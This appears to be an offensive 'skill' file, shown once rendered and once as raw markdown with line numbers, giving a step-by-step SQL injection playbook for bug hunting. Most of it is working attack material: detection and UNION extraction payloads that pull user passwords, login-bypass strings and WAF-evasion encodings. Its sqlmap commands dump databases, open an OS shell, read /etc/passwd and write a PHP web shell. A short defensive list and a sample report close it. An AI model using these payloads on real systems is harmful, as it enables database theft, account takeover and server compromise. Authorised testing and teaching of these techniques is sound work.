SQL Injection — Manual & Automated
When to Use
- When testing web applications that interact with SQL databases
- When user input is reflected in database queries (search, login, filters, sorting)
- When you see database error messages in application responses
- When testing API endpoints that accept structured query parameters
- When login forms don't use parameterized queries
Prerequisites
- Burp Suite Pro/Community for request interception
sqlmap for automated injection and extraction
- Understanding of SQL syntax (MySQL, PostgreSQL, MSSQL, Oracle)
- Target must use a SQL database backend
Workflow
Phase 1: Detection & Fingerprinting
# Step 1: Inject special chars to trigger errors
# Single quote (most common)
https://target.com/product?id=1'
# Double quote
https://target.com/product?id=1"
# Semicolon (query stacking)
https://target.com/product?id=1;
# Comment markers
https://target.com/product?id=1--
https://target.com/product?id=1#
# Step 2: Boolean-based detection
# True condition (should return normal page):
https://target.com/product?id=1 AND 1=1
# False condition (should return different/empty page):
https://target.com/product?id=1 AND 1=2
# If responses differ → SQL injection confirmed
# Step 3: Time-based detection (for blind SQLi)
# MySQL:
https://target.com/product?id=1 AND SLEEP(5)--
# MSSQL:
https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--
# PostgreSQL:
https://target.com/product?id=1; SELECT pg_sleep(5)--
# Step 4: Database fingerprinting
# MySQL: SELECT @@version
# MSSQL: SELECT @@version
# Oracle: SELECT banner FROM v$version
# PostgreSQL: SELECT version()
Phase 2: UNION-based Extraction
-- Step 1: Find number of columns
ORDER BY 1-- -- OK
ORDER BY 2-- -- OK
ORDER BY 3-- -- ERROR → 2 columns
-- Step 2: Find displayable columns
UNION SELECT NULL,NULL--
UNION SELECT 'a',NULL--
UNION SELECT NULL,'a'--
-- Step 3: Extract database info
-- MySQL:
UNION SELECT @@version, database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
UNION SELECT username,password FROM users--
-- PostgreSQL:
UNION SELECT version(), current_database()--
UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
-- MSSQL:
UNION SELECT @@version, DB_NAME()--
UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--
-- Oracle:
UNION SELECT banner,NULL FROM v$version--
UNION SELECT table_name,NULL FROM all_tables--
Phase 3: Blind Extraction
-- Boolean-based blind (extract data char by char)
-- Extract database name character 1:
AND (SELECT SUBSTRING(database(),1,1))='a'--
AND (SELECT SUBSTRING(database(),1,1))='b'--
-- ... continue until response changes
-- Binary search (faster):
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 64-- -- m or higher?
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 96-- -- a-z range?
AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 112-- -- p or higher?
-- Narrow down to exact character
-- Time-based blind:
AND IF((SELECT SUBSTRING(database(),1,1))='a', SLEEP(3), 0)--
AND IF((SELECT SUBSTRING(database(),1,1))='s', SLEEP(3), 0)--
Phase 4: Authentication Bypass
-- Classic login bypass
-- Username field:
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
') OR ('1'='1
admin' OR '1'='1'#
-- Password field:
' OR '1'='1'--
anything' OR '1'='1'--
-- Combined (username: admin'--, password: anything)
-- Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check is commented out
-- Advanced bypass:
' UNION SELECT 1,'admin','password_hash' FROM dual--
Phase 5: Automated Exploitation with sqlmap
# Basic scan
sqlmap -u "https://target.com/product?id=1" --batch --dbs
# With authentication
sqlmap -u "https://target.com/product?id=1" \
--cookie="session=abc123" \
--batch --dbs
# From Burp request file (most reliable)
sqlmap -r request.txt --batch --dbs
# Full database dump
sqlmap -r request.txt --batch -D target_db --tables
sqlmap -r request.txt --batch -D target_db -T users --dump
# WAF bypass
sqlmap -r request.txt --batch --tamper=space2comment,between,randomcase \
--random-agent --delay=2
# OS shell (if stacked queries + file privileges)
sqlmap -r request.txt --batch --os-shell
# File read/write
sqlmap -r request.txt --batch --file-read="/etc/passwd"
sqlmap -r request.txt --batch --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# POST parameter
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
-p username --batch --dbs
# Increase risk and level for thorough testing
sqlmap -r request.txt --batch --level=5 --risk=3 --dbs
Phase 6: WAF Bypass Techniques
-- Space alternatives
/**/SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- Tab
SELECT%0Ausername%0AFROM%0Ausers -- Newline
-- Case manipulation
SeLeCt UsErNaMe FrOm UsErS
-- Double encoding
%2527 → %27 → '
-- Null bytes
%00' OR 1=1--
-- Comment injection
UN/**/ION SE/**/LECT
-- HPP (HTTP Parameter Pollution)
?id=1&id=UNION&id=SELECT
-- Chunk transfer encoding (in POST body)
-- Using sqlmap tampers:
sqlmap -r r.txt --tamper=apostrophemask,between,charencode,equaltolike,greatest,halfversionedmorekeywords,modsecurityversioned,percentage,randomcase,space2comment,space2dash,space2mssqlblank,space2mysqldash,unionalltounion,unmagicquotes
🔵 Blue Team Detection
- Parameterized queries: Use prepared statements — NEVER concatenate user input into SQL
- WAF rules: Detect common SQLi patterns (UNION SELECT, OR 1=1, SLEEP(), etc.)
- Input validation: Whitelist expected characters (numeric IDs should only accept digits)
- Database monitoring: Alert on unusual queries, mass data extraction, or schema enumeration
- Least privilege: Database user should have minimum required permissions
- Error handling: Never expose raw database errors to users
Key Concepts
| Concept |
Description |
| UNION injection |
Combining attacker's SELECT with original query to extract data |
| Error-based |
Forcing database errors that reveal data in error messages |
| Boolean blind |
Inferring data through true/false application behavior differences |
| Time-based blind |
Inferring data through delayed response times |
| Out-of-band |
Exfiltrating data via DNS or HTTP to attacker-controlled server |
| Stacked queries |
Executing multiple SQL statements separated by semicolons |
| Second-order SQLi |
Payload stored first, then executed when used in a different query |
Output Format
SQL Injection Report
====================
Title: UNION-based SQL Injection in Product Search
Severity: CRITICAL (CVSS 9.8)
Endpoint: GET /api/products?category=
Parameter: category
DBMS: MySQL 8.0.32
Extracted Data:
- Database: production_db
- Tables: users, orders, payments, sessions
- Users table: 45,000 records (username, email, password_hash, role)
- Payment table: Credit card data (PCI violation)
Impact:
- Full database compromise
- PII/PCI data exposure for 45,000 users
- Potential for OS command execution via INTO OUTFILE
- Authentication bypass confirmed
Remediation:
1. Use parameterized queries / prepared statements
2. Implement input validation (whitelist allowed characters)
3. Apply principle of least privilege to database users
4. Deploy WAF rules for SQL injection detection
5. Remove verbose error messages from production
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
References
1---2name: sqli-manual-and-automated3description: >4 Detect and exploit SQL injection vulnerabilities using both manual techniques and automated tools.5 Use this skill when testing web applications for database injection flaws including UNION-based,6 error-based, blind boolean, blind time-based, and out-of-band SQL injection. Covers WAF bypass,7 second-order SQLi, authentication bypass, and full database extraction with sqlmap.8domain: cybersecurity9subdomain: bug-hunting10category: Web Vulnerabilities11difficulty: intermediate12estimated_time: "3-5 hours"13mitre_attack:14 tactics: [TA0001, TA0009]15 techniques: [T1190]16cve_references: [CVE-2023-34362, CVE-2024-0352]17owasp_category: "A03:2021-Injection"18platforms: [linux, windows, macos]19tags: [sql-injection, sqli, database-exploitation, union-injection, blind-sqli, sqlmap, authentication-bypass, bug-bounty]20tools: [sqlmap, burpsuite, ghauri, commix]21version: "1.0"22author: CyberSkills-Elite23license: Apache-2.024metadata:25 source: https://skillmd.com/skills/shulkwisec/sqli-manual-and-automated26---2728# SQL Injection — Manual & Automated2930## When to Use31- When testing web applications that interact with SQL databases32- When user input is reflected in database queries (search, login, filters, sorting)33- When you see database error messages in application responses34- When testing API endpoints that accept structured query parameters35- When login forms don't use parameterized queries3637## Prerequisites38- Burp Suite Pro/Community for request interception39- `sqlmap` for automated injection and extraction40- Understanding of SQL syntax (MySQL, PostgreSQL, MSSQL, Oracle)41- Target must use a SQL database backend4243## Workflow4445### Phase 1: Detection & Fingerprinting4647```bash48# Step 1: Inject special chars to trigger errors49# Single quote (most common)50https://target.com/product?id=1'5152# Double quote53https://target.com/product?id=1"5455# Semicolon (query stacking)56https://target.com/product?id=1;5758# Comment markers59https://target.com/product?id=1--60https://target.com/product?id=1#6162# Step 2: Boolean-based detection63# True condition (should return normal page):64https://target.com/product?id=1 AND 1=165# False condition (should return different/empty page):66https://target.com/product?id=1 AND 1=26768# If responses differ → SQL injection confirmed6970# Step 3: Time-based detection (for blind SQLi)71# MySQL:72https://target.com/product?id=1 AND SLEEP(5)--73# MSSQL:74https://target.com/product?id=1; WAITFOR DELAY '0:0:5'--75# PostgreSQL:76https://target.com/product?id=1; SELECT pg_sleep(5)--7778# Step 4: Database fingerprinting79# MySQL: SELECT @@version80# MSSQL: SELECT @@version81# Oracle: SELECT banner FROM v$version82# PostgreSQL: SELECT version()83```8485### Phase 2: UNION-based Extraction8687```sql88-- Step 1: Find number of columns89ORDER BY 1-- -- OK90ORDER BY 2-- -- OK91ORDER BY 3-- -- ERROR → 2 columns9293-- Step 2: Find displayable columns94UNION SELECT NULL,NULL--95UNION SELECT 'a',NULL--96UNION SELECT NULL,'a'--9798-- Step 3: Extract database info99-- MySQL:100UNION SELECT @@version, database()--101UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--102UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--103UNION SELECT username,password FROM users--104105-- PostgreSQL:106UNION SELECT version(), current_database()--107UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--108109-- MSSQL:110UNION SELECT @@version, DB_NAME()--111UNION SELECT name,NULL FROM sysobjects WHERE xtype='U'--112113-- Oracle:114UNION SELECT banner,NULL FROM v$version--115UNION SELECT table_name,NULL FROM all_tables--116```117118### Phase 3: Blind Extraction119120```sql121-- Boolean-based blind (extract data char by char)122-- Extract database name character 1:123AND (SELECT SUBSTRING(database(),1,1))='a'--124AND (SELECT SUBSTRING(database(),1,1))='b'--125-- ... continue until response changes126127-- Binary search (faster):128AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 64-- -- m or higher?129AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 96-- -- a-z range?130AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 112-- -- p or higher?131-- Narrow down to exact character132133-- Time-based blind:134AND IF((SELECT SUBSTRING(database(),1,1))='a', SLEEP(3), 0)--135AND IF((SELECT SUBSTRING(database(),1,1))='s', SLEEP(3), 0)--136```137138### Phase 4: Authentication Bypass139140```sql141-- Classic login bypass142-- Username field:143admin'--144admin'/*145' OR '1'='1146' OR '1'='1'--147') OR ('1'='1148admin' OR '1'='1'#149150-- Password field:151' OR '1'='1'--152anything' OR '1'='1'--153154-- Combined (username: admin'--, password: anything)155-- Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'156-- Password check is commented out157158-- Advanced bypass:159' UNION SELECT 1,'admin','password_hash' FROM dual--160```161162### Phase 5: Automated Exploitation with sqlmap163164```bash165# Basic scan166sqlmap -u "https://target.com/product?id=1" --batch --dbs167168# With authentication169sqlmap -u "https://target.com/product?id=1" \170 --cookie="session=abc123" \171 --batch --dbs172173# From Burp request file (most reliable)174sqlmap -r request.txt --batch --dbs175176# Full database dump177sqlmap -r request.txt --batch -D target_db --tables178sqlmap -r request.txt --batch -D target_db -T users --dump179180# WAF bypass181sqlmap -r request.txt --batch --tamper=space2comment,between,randomcase \182 --random-agent --delay=2183184# OS shell (if stacked queries + file privileges)185sqlmap -r request.txt --batch --os-shell186187# File read/write188sqlmap -r request.txt --batch --file-read="/etc/passwd"189sqlmap -r request.txt --batch --file-write="shell.php" --file-dest="/var/www/html/shell.php"190191# POST parameter192sqlmap -u "https://target.com/login" \193 --data="username=admin&password=test" \194 -p username --batch --dbs195196# Increase risk and level for thorough testing197sqlmap -r request.txt --batch --level=5 --risk=3 --dbs198```199200### Phase 6: WAF Bypass Techniques201202```sql203-- Space alternatives204/**/SELECT/**/username/**/FROM/**/users205SELECT%09username%09FROM%09users -- Tab206SELECT%0Ausername%0AFROM%0Ausers -- Newline207208-- Case manipulation209SeLeCt UsErNaMe FrOm UsErS210211-- Double encoding212%2527 → %27 → '213214-- Null bytes215%00' OR 1=1--216217-- Comment injection218UN/**/ION SE/**/LECT219220-- HPP (HTTP Parameter Pollution)221?id=1&id=UNION&id=SELECT222223-- Chunk transfer encoding (in POST body)224225-- Using sqlmap tampers:226sqlmap -r r.txt --tamper=apostrophemask,between,charencode,equaltolike,greatest,halfversionedmorekeywords,modsecurityversioned,percentage,randomcase,space2comment,space2dash,space2mssqlblank,space2mysqldash,unionalltounion,unmagicquotes227```228229230## 🔵 Blue Team Detection231- **Parameterized queries**: Use prepared statements — NEVER concatenate user input into SQL232- **WAF rules**: Detect common SQLi patterns (UNION SELECT, OR 1=1, SLEEP(), etc.)233- **Input validation**: Whitelist expected characters (numeric IDs should only accept digits)234- **Database monitoring**: Alert on unusual queries, mass data extraction, or schema enumeration235- **Least privilege**: Database user should have minimum required permissions236- **Error handling**: Never expose raw database errors to users237238## Key Concepts239| Concept | Description |240|---------|-------------|241| UNION injection | Combining attacker's SELECT with original query to extract data |242| Error-based | Forcing database errors that reveal data in error messages |243| Boolean blind | Inferring data through true/false application behavior differences |244| Time-based blind | Inferring data through delayed response times |245| Out-of-band | Exfiltrating data via DNS or HTTP to attacker-controlled server |246| Stacked queries | Executing multiple SQL statements separated by semicolons |247| Second-order SQLi | Payload stored first, then executed when used in a different query |248249## Output Format250```251SQL Injection Report252====================253Title: UNION-based SQL Injection in Product Search254Severity: CRITICAL (CVSS 9.8)255Endpoint: GET /api/products?category=256Parameter: category257DBMS: MySQL 8.0.32258259Extracted Data:260- Database: production_db261- Tables: users, orders, payments, sessions262- Users table: 45,000 records (username, email, password_hash, role)263- Payment table: Credit card data (PCI violation)264265Impact:266- Full database compromise267- PII/PCI data exposure for 45,000 users268- Potential for OS command execution via INTO OUTFILE269- Authentication bypass confirmed270271Remediation:2721. Use parameterized queries / prepared statements2732. Implement input validation (whitelist allowed characters)2743. Apply principle of least privilege to database users2754. Deploy WAF rules for SQL injection detection2765. Remove verbose error messages from production277```278279280## 📚 Shared Resources281> For cross-cutting methodology applicable to all vulnerability classes, see:282> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns283> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference284> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class285286## References287- OWASP: [SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)288- PortSwigger: [SQL Injection Labs](https://portswigger.net/web-security/sql-injection)289- sqlmap: [Official Documentation](https://sqlmap.org/)290- PayloadsAllTheThings: [SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)